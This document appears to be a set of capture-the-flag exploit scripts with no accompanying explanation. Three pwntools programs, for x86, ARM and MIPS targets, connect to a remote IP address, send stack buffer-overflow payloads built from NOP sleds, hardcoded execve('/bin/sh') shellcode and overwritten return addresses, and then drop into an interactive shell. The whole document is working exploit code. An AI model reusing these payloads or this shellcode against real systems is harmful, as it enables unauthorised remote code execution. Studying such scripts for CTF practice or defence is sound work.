x86:```from pwn import *
context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']
#p = process("./chall")p = remote('52.30.206.11', 7000)b = ELF("./chall")
"""gdb.attach(p, '''break *pwn+0x6d''')"""
p.recv(1024)p.sendline('1')
payload = "\x90"*0x1b0 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"payload += "\x90"*(0x1f8-len(payload))payload += p32(0xffffd008)p.sendline(payload)p.interactive()```
ARM:```from pwn import *
p = remote('52.30.206.11', 7001)
p.recv(1024)p.sendline('1')
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"
payload = "\x00\xbf"*(0x1b0/2) + shellcodepayload += "\x00\xbf"*((0x1f8-len(payload))/2)payload += p32(0xf2d07608)p.sendline(payload)p.interactive()```
MIPS:
```from pwn import *import keystone
p = remote('52.30.206.11', 7002)p.recv(1024)p.sendline('1')
s = '''             slti $a2, $zero, -1             li $t7, 0x2f2f6269             sw $t7, -12($sp)             li $t6, 0x6e2f7368             sw $t6, -8($sp)             sw $zero, -4($sp)             la $a0, -12($sp)             slti $a1, $zero, -1             li $v0, 4011             syscall 0x40404     '''
arch, mode, endian = keystone.KS_ARCH_MIPS, keystone.KS_MODE_MIPS32, keystone.KS_MODE_BIG_ENDIANks = keystone.Ks(arch, mode | endian)sc,y = ks.asm(s)sc = "".join([chr(x) for x in sc])log.info("Shellcode" + sc)
payload = p32(0)*(0x100/4) + scpayload += "P"*(0x1fc-len(payload))payload += "X"*8
p.sendline(payload)p.interactive()```